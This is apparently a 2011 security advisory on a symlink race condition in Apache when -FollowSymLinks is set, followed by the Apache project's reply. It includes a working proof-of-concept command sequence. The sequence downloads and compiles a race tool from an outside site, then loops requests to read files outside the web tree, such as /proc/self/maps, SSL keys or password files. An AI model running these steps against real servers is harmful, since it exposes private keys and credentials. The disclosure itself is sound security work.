apache2 has a TOCTOU (time of check to time of use)
feature when cheching for symlinks and symlink-following is disabled via
-FollowSymLinks. This is not a security vulnerability because the
behavior is part of the specification and
documentation. Those, who oversaw
this line in the documentation, might have a false impression
about the security of their apache installation (configuration).
A user, that is able to modify a part of the directory
structure used by apache for file delivery, can use this to make
apache follow a symlink to a location outside of this tree. This
is especially interesting to read files, accessible only by www-data,
the default apache user on ubuntu, and might be a severe problem,
when combined with apache misconfiguration, e.g. logfiles or ssl
certificate readable by apache, but not other users. Another scenario
could be an apache server with ftp/nfs access, where the users would
not be able to access data outside of their "home" direcctory.
The problem has a few similarities to generic
backup system
vulnerability, where many backup still have unfixed problems handling
data from untrusted directories correctly. A better kernel/syscall
interface would make it much easier to write symlink-attack-proof
software in both cases.
Apache can be configured to serve data from other users,
but should not follow symlinks. A configuration might look like
>Directory /home/test/www/<
Options Indexes -FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
>/Directory<
Alias /test/ "/home/test/www/"
Let us assume, that there is a file, the user
knows about, but has no permission to read, e.g. /proc/<pid>/maps:
The malicous user owning /home/test/www can then
# mkdir -p /home/test/www/self
# dd if=/dev/zero bs=4k count=1 of=/home/test/www/self/maps
# cd /home/test/www
# ln -s /proc/self self-link
# wget http://www.halfdog.net/Security/2011/ApacheNoFollowSymlinkTimerace/RenameLoop.c
# gcc -o RenameLoop RenameLoop.c
# ./RenameLoop self aaa self-link
RenameLoop just replaces the local
self directory structure with a
symlink to
/proc/self/ and vice versa. Then the user fetches
the file until he wins the race and receives a non-empty and nullbyte-free
copy of memory mappings, e.g.
# while true; do wget -q -O - http://localhost/test/self/maps | tee -a /tmp/log; done
Of course, this method can be used to access any file readable by
httpd. This might also work agains /proc/self/mem when using
Range
headers, but linux-3.0-rc3 kernel protects /proc/mem of suid-binaries.
If not protected, this might lead to disclosure of basic-auth data or
SSL certificate and keys.
The issues demonstrates the typical problem when
handling symlinks: the kernel does not provide an atomic open-and-stat
or fststat-path(fd, *struct stat) method, that would make it much
simpler to write flawless code, especially when handling untrusted
data (see also
FilesystemRecursionAndSymlinks).
The exploitability of this issue has to be put into
perspective. The real-word might be reduced, since good success
rate is only archived, when user has also ability to run code on
the machine, e.g. directly or via cgi/perl/php. In that scenario,
the user might find other methods more suitable to access data or
even increase his privileges, something, that cannot be done directly using
this technique. From my point of view, following scenarios might
be most problematic:
- Combination with malconfiguration: Access http-readable ssl private
key or logfiles
- Access to /proc/[pid]/ data, e.g. maps to get memory map for
further exploitation
- Access to .htaccess or password of other users, maybe create
directory listings of these directories also, even when not permitted
- It might allow escape of "containment" when performed via ftp/nfs,
although that was not yet evaluated.
Information from apache.org 20110625:
httpd has never claimed (or attempted) to implement any security
restriction on following symlinks. This is mentioned in the current docs
for Options:
http://httpd.apache.org/docs/2.2/mod/core.html#options
"symlink testing is subject to race conditions that make it circumventable"
You have some discussion in your document of the perspective. httpd's
support for running children as a less-privileged non-root user allows
admins to restrict the capabilities of those children. It is a
misconfiguration if the less-privileged user is allowed access to
privileged files; there is little httpd itself can to do prevent (or
detect) that situation.
Similarly, it is the admin's responsibility to consider what escalation
of privileges is possible by allowing less-trusted users to author
content.
Material, References